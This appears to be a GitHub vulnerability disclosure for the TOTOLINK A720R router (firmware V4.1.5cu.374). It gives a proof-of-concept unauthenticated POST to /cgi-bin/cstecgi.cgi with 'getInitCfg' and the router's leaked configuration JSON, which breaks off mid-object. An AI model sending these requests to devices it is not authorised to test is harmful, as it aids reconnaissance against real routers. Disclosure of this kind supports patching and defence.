at0de first commit f932a4b · 2 weeks ago

33 lines (24 loc) · 1.35 KB

Preview Code Blame Raw

Overview

- Manufacturer's website information：https://www.totolink.net/
- Firmware download address ：https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/203/ids/36.html

Affected version

V4.1.5cu.374

Vulnerability details

The TOTOLINK A720R V4.1.5cu.374 firmware contains an unauthenticated system information disclosure vulnerability. An attacker can exploit this flaw by sending a crafted POST request with the parameter `{"topicurl":"getInitCfg"}` to `/cgi-bin/cstecgi.cgi` , exposing sensitive device configuration details including firmware version, hardware model, supported network features, operational modes, and system parameters.

Poc

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.140.79
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Accept: application/json, text/javascript, */*; q=0.01
```

```
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.140.79
Referer: http://192.168.140.79/basic/index.html?time=1745238634622
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

{"topicurl":"getInitCfg"}
```

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.140.79
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.140.79
Referer: http://192.168.140.79/advance/remote.html?time=1744901478265
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

{
    "topicurl":"getInitCfg"
}
```

```
HTTP/1.1 200 OK
Connection: close
Date: Fri, 12 Jun 2020 09:28:18 GMT
Server: lighttpd/1.4.20
Content-Length: 1335

{
    "model":"A720R_v2",
    "newFunAddFlag":"0",
    "fmVersion":"V4.1.5cu.374",
    "defaultLang":"cn",
    "helpUrl":"http://www.totolink.cn",
    "showLogo":"",
    "showLanguage":"cn,en,ct,ru,vn",
    "showAutoLang":"1",
    "webTitle":"TOTOLINK",
    "vendor":"TOTOLINK",
    "copyRight":"Copyright &copy; [date] Zioncom Ltd., All Rights Reserved",
    "modelType":"gw",
    "channel2gRange":"1,2,3,4,5,6,7,8,9,10,11,12,13",
    "channel5gRange":"36,40,44,48,149,153,157,161",
    "ledStatus":"1",
    "wifiSupport":"0",
    "langAutoFlag":"1",
    "qosEngineVersion":"3.0",
    "opmode":"gw",
    "tradQos":"1",
    "custom":{
        "wechatQrSupport":"1",
        "iptvSupport":"1",
        "ipv6Support":"1",
        "pppoeSpecSupport":"0",
        "pppoeRussiaSupport":"1",
        "noticeSupport":"0",
        "versionControlSupport":"1",
        "wanTypeList":"static,dhcp,pppoe,pptp,l2tp",
        "wanDetectSupport":"1",
        "pptpServerSupport":"0",
        "l2tpServerSupport":"0",
```